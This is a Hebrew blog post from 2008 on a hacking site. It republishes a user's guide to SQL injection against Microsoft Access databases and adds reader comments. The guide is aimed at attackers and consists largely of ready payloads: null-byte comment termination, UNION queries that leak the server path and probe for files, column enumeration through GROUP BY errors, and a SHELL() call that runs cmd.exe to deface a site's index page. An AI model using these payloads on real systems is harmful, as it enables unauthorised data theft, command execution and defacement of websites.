כניסה לפורומים: http://forums.hacking.org.il



ACCESS INJECTION

נכתב ע"י גיא מזרחי בתאריך 26 במאי 2008 | נושאים כללי |

TheLeader כתב מדריך מעניין על ההבדלים בין INJECTION מול DB כמו SQL לבין ACCESS.

מכיוון שזה בהחלט נושא שנתקלים בו הרבה - החלטתי לייצר מזה פוסט.

כל הכבוד ל-TheLeader על ההשקעה :)

 

לא פעם בעת נסיונות הזרקה, אתם בוודאי נתקלים בהערות שגיאה מהסוג הזה:

ציטוט:

Microsoft JET Database Engine error '80040e10′

שימו לב אל השורה העליונה; זה אומר שהמסד מבוסס ACCESS.
מסדי אקסס שונים מעט ממסדי MYSQL רגילים, בעיקר בסיינטקס. במדריך זה אשתדל לסקור את ההבדלים העיקריים על מנת להקל מעט על ציבור ההאקרים קורץ
הערות - במסדי ACCESS לא ניתן להשתמש במקף כפול (–), סלאש כוכבית (/*) או סולמית (#) על מנת לבטא הערה. במקום זאת, יש להשתמש בNULL BYTE (שמבוטא %00) ע"מ לסגור את המחרוזת ולגרום למסד להתעלם מהשאר. כך לדוגמא במקום להכניס:
' or 1=1–
נכניס:
' or 1=1%00
UNION - הפקודה UNION מוגבלת לשימוש רק כאשר שולפים נתונים מטבלה תקינה בשדה הFROM.
LIMIT - הפקודה LIMIT לא נתמכת, אבל ניתן להשתמש בTOP X (כשבמקום X מופיע המספר הרצוי) כדי להגביל את מספר הטורים.
CONCAT - לא נתמכת. ניתן להשתמש בפלוס (+) או סימן-חיבור-שאין-לי-מושג-איך-קוראים-לו (&), אך צריך לקודד אותם לפני כן. לדוגמא: 'ab' %2b 'cd'.
מציאת הנתיב המלא - משפט SELECT ממסד מזוייף (נקודה) טבלה מזוייפת יציג שגיאה שתסגיר את הנתיב המלא.
UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00

ציטוט:

Could not find file 'c:\windows\system32\inetsrv\ThisIsAFakeName.mdb'.

בדיקה אם קובץ קיים - UNION SELECT name FROM msysobjects IN '\boot.ini'%00
גילוי טורים - מכיוון שהפקודה HAVING לא מחזירה שמות טורים, אנחנו מוגבלים לעשות רק GROUP BY. אך למרבה המזל, הטור ID קיים כמעט תמיד, וכך ניתן לגלות את כל הטורים:
GROUP BY Id%00

ציטוט:

You tried to execute a query that does not include the specified expression 'title' as part of an aggregate function.

GROUP BY Id,title%00
וכו'..
CURDIR() - הפונקציה curdir מחזירה את הנתיב שאתה נמצא בו כרגע.
הרצת פקודות - ניתן להריץ פקודות SHELL* כך:
AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00
כפי ששמתם לב, האופרטור AND משמש גם לחיבור פקודות ולא רק לתנאי. ניתן כך לשלב גם משפטי SELECT:
AND (SELECT TOP 1 'abc' FROM users)%00
* אין לי מושג אם זה יעבוד על לינוקס, אבל אני לא בטוח שיש בכלל מסדי אקסס בלינוקס.. חוצפן
SLEEP - הפונקציות SLEEP וBENCHMARK לא נתמכות, אבל ניתן להאט את השאילתא וליצור מבחן זמן על ידי שאילתות מורכבות. מכיוון שזהו נושא מסובך בפני עצמו, אפנה אתכם למאמר שמסביר את הטכניקה:
http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx
טבלאות - לרוב לא יהיה אליהן גישה, אבל בכל אופן הנה הן:
MSysAccessXML
MSysACEs
MSysObjects
מקווה שנהניתם (והחכמתם), TheLeader

Popularity: 55% [?]




10 תגובות לקטע “ACCESS INJECTION”

  1. DeCryPteR ISRAEL Windows XP Mozilla Firefox 2.0.0.14 כתב\ה:

    בקשר למשפט הראשון שלך:TheLeader כתב מדריך מעניין על ההבדלים בין INJECTION מול DB כמו SQL לבין ACCESS.

    SQL זה לא מסד…
    ובכל סוג מסד יש שיטה אחרת לINJECTION
    זה כמו שהקומפיילר של C אממ איך קוראים לו… אהה כן חח DEV
    לעומת GCC
    שתיהם קומפיילרים
    אבל יש דברים שאתה יכול לקמפל בGCC שבDEV לא!

  2. encryption ISRAEL Windows XP Internet Explorer 7.0 כתב\ה:

    DeCryPteR - וואי שתהיה בריא… אתה יודע מה…עזוב אין לי סיבה אחת טובה להתאמץ ולהגיב לשטויות שאתה מוציא פה ובפורומים.

    אכן מאמר מעולה של THELEADER, עשה עבודה מעולה יישר כוח
    ויפה מאוד מצדך גיא שעשית לזה פוסט אורח…

  3. DeCryPteR ISRAEL Windows XP Mozilla Firefox 2.0.0.14 כתב\ה:

    מה שטויות בזה?
    תסביר לי
    גם אני עדיין לומד…
    אני אמרתי מה שחשבתי
    אם יש למשהו לתקן אותי אני אשמח
    אם אין אז כנראה שזה נכון

  4. נחום הספאמר ISRAEL Windows XP Mozilla Firefox 3.0 כתב\ה:

    "שתיהם"?!

  5. מקס ISRAEL Linux Mozilla Firefox 3.0 כתב\ה:

    לתו & קוראים Ampersand

    אקסס לא רץ על לינוקס, אלא דרך שכבת אמולציה שאז בפועל אין זה משנה כי יש סביבת וינדוס שההתקפה מכוונת אליה.

    DeCryPteR צודק, חלקית. SQL זאת שפה. Access זה מנוע. ישנם מנועים אחרים כדוגמאת Mysql, MS SQL ואורקל. מבחינת Injection syntax: ברוב המנועים שכתובים על פי סטדנרט אותה syntax *צריך* להיות ולידי.

    ואגב, זה נכון שקוד שנכתב ל MS Studio יתכן ולא יתקמפל על ידי gcc. מצד שני, יתכן גם ההפך ;).

    Happy Hacking
    HQ.

  6. ארז מטולה ISRAEL Windows XP Internet Explorer 6.0 כתב\ה:

    כתוספת למאמר המצוין של TheLeader - להלן cheat sheet של sql injection עבור access אשר מכיל הרחבות נוספות:

    http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html

  7. Shed Ubuntu Linux Mozilla Firefox 2.0.0.14 כתב\ה:

    הבטחתי ולכן אקיים…

  8. גיא מזרחי ISRAEL Windows Vista Mozilla Firefox 2.0.0.14 כתב\ה:

    היי - זו מדינה ללא דגל!

  9. encryption ISRAEL Mozilla Firefox 8.0.0.14 כתב\ה:

    אולי כדאי להציע לצוות UNDERWAR את התוספת הזו למאמר שלהם על SQLINJ מכוון שהוא מכיל ולו מעט מידע על ההבדלים בין מסדי הנתונים השונים

  10. TheLeader ISRAEL Windows XP Mozilla Firefox 3.0 כתב\ה:

    ראיתי לנכון לציין שגם ACCESS משתמש בשפת SQL, רק מבנה המסד והשפה שונה קצת מ-MYSQL ו-MSSQL.

כתיבת תגובה משלך לקטע